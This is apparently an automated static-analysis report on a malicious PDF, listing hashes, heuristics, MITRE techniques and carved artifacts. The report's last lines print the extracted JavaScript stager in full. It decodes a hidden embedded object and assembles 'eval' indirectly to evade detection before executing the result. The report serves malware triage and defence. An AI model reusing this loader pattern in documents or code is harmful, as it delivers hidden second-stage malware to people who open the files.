Malicious PDF — malware analysis report

Static analysis result for SHA-256 59fdb2fc7c1d8cf5…

MALICIOUS

PDF

5.8 KB First seen: 2026-05-08
MD5: 79399ed72783fadee7d82949dc69fbb2 SHA-1: 7440d0f0f957e6efccc0100a865e15a09e2c6ee6 SHA-256: 59fdb2fc7c1d8cf59169c741484f66e1cf83326131e70bc19ed4f4f7b95bc5ad
76 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1553.005 Mark-of-the-Web Bypass

The PDF file contains embedded JavaScript and an embedded binary file. The JavaScript is likely intended to execute or unpack the embedded file, which is a common technique for delivering second-stage malware. The heuristics indicate the presence of JavaScript actions and embedded files, supporting this assessment.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9999

Heuristics 5

  • Malformed active-content stream length medium PDF_MALFORMED_EXPLOIT_STREAM_LENGTH
    A PDF stream that carries active/exploit-looking content has a declared /Length that does not match the recovered stream body. Malformed stream boundaries and length mismatches are common parser-evasion/supporting evidence around Reader exploit streams.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded file low PDF_EMBEDDED
    PDF embeds a file attachment — could carry an executable or another weaponised document as a nested payload
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_file_obj0012.bin pdf-embedded-file PDF EmbeddedFile object 12 at offset 0x3D6 147618 bytes
SHA-256: ba3f61be065900de1c04fcbbe52f4ecd37c7f525fadabe7de9bcabb7ab8cb3a1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
329 of 329 identifiers look randomly generated (e.g. 'MIHeGoMLqH6sNcRCF1MIHeGoMLqH6sNcRCF2MIHe') — consistent with name-mangling obfuscation. Carved artifact contains 145 long base64-like blob(s).
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1A0 254 bytes
SHA-256: 1bc4bf38a788adcc495fb84f1f085cb4c62f9f214ddac09c9e3dd447973e35e6
Preview script
First 1,000 lines of the extracted script
ra=this.getDataObjectContents("xampp");rb=util.stringFromStream(ra, "utf-8");rc="";for (i=0;i<rb.length;i +=18){   rc +=rb.charAt(i);}rd="<test><one>ev</one><two>al</two></test>";re=XMLData.parse(rd);        rf=re.one.value+re.two.value;this[rf](rc);